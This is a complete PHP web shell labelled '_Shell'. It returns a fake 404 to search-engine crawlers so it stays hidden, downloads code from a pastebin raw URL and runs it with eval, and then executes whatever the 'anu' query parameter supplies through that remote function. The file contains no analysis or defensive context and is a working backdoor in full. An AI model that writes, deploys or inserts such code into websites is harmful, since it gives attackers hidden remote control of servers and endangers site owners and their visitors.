_Shell

<?php
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
$func=file_get_contents('http://pastebin.com/raw/2xZpEq8Y');
eval($func);
$anu=$_GET['anu'];
if(isset($_GET['anu'])) {
    echo "<center><h1>_Shell</h1></center>
<pre>".htmlspecialchars(anu($anu))."</pre>";
}
?>